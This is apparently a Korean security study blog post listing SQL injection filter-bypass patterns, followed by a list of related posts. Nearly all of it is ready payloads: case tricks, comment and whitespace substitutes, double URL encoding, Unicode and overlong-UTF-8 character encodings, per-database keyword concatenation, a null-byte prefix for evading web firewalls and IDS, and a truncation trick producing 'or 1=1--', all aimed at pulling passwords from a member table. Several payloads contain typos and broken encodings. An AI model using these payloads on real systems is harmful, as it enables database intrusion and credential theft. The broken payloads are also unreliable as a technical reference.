보안세상
SQL인젝션(sql injection) 우회 패턴 본문
1) 대소문자 변형
union select password from member where id='ireoa'--
UnION seLEct password ForM member WhErE id='ireoa'--
2) 공백 우회
/**/ %0a %09 ()
3)URL Encoding
3) = 우회
union select password from member where username = 'ireoa'--
union select password from member where username like 'ireoa'--
4)URL Encoding
'%2f%2a*/union%2f%2a*/select%2f%2a*/password%2f%2a*/form%2f%2a*/member%2f%2a*/where%2f%2a*/username%2f%2a*/lie%2f%2a*/
'ireoa'--
가끔 실패 할수도있음 2중으로 한다
'252f%2f2a*/union252f%2f2a*/select252f%2f2a*/password252f%2f2a*/from252f%2f2a*/member252f%2f2a*/where252f%2f2a*/username252f%2f2a*/
like252f%2f2a*/'ireoa'--
5)유니코드 인코딩
1) '
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%c0%80%a7
2)-
%u005f
%uff3f
%c0%2d
%c0%ad
%e0%80%ad
3)/
%u2215
%u2044
%uff0f
%c0%2f
%c0%af
%e0%80%af
4)(
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
5))
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
6)*
%u002a
%uff0a
%c0%2a
%c0%aa
%e0%80%aa
7) space
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
6)동적쿼리실행사용
MS-SQL : EXEC('SELECT password FROM member')
Oracle :
DECLEAR pw VARCHAR2(1000);
BEGIN
DBMS_OUTPUT.PUT_LINE(pw);
7)SELECT
Oracle : 'SEL'||'ECT'
MS-SQL : 'SEL'+'ECT' CHAR(93)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)
MySQL : 'SEL''ECT'
MS-SQL에서 +를 %2b MySQL에서 빈공간을 %20으로 인코딩 해야함
Oracle에서는 더 가능함 REVERSE, TRANSLATE, REPLACE, SUBSTR
8)NULL BYTE 우회
IPS나 IDS를 우회하기 위해서 사용 웹방화벽 IDS/IPS는 주로 네이티브 코드로 작성되어있음 그래서 널바이트까지만 보므로 우회가 가능
%00' UNION SELECT password FROM member WHERE username='ireoa'--
9)연속구문우회
SELSELECTECT 빨간색이 사라지면서 파랑색의 SELECT 사용 가능
10)축소공격
다음 두가지 경우를 가정하자
1)싱글쿼터(')를 ('')로 대체
2) 10개의 문자만 받는다
그렇다면 만약 내가 aaaaaaaaa' 으로 공격을 시도한다면
첫번째 조건떄문에 aaaaaaaaa''으로 바뀌지만 10개의 문자만 전달하므로
내가원하는 aaaaaaaaa'이 들어가게 된다.
select * from member where username='aaaaaaaaa'' AND password = ''
만약 password에 or 1=1--을 넣어준다면
select * from member where username='aaaaaaaaa'' AND password = 'or 1=1--'
되므로 우회가 가능하다
'공부' 카테고리의 다른 글
MYSQL INJECTION 실행 절차 (0) | 2015.06.23 |
---|---|
SQL Injection의 우회 패턴 종류 (0) | 2015.06.23 |
아이콘은 문서 파일인데, 확장자는 실행 파일? (0) | 2015.06.23 |
NAT와 PAT 예제 풀이 (0) | 2015.06.22 |
NAT방식과 PAT방식 예제 (0) | 2015.06.21 |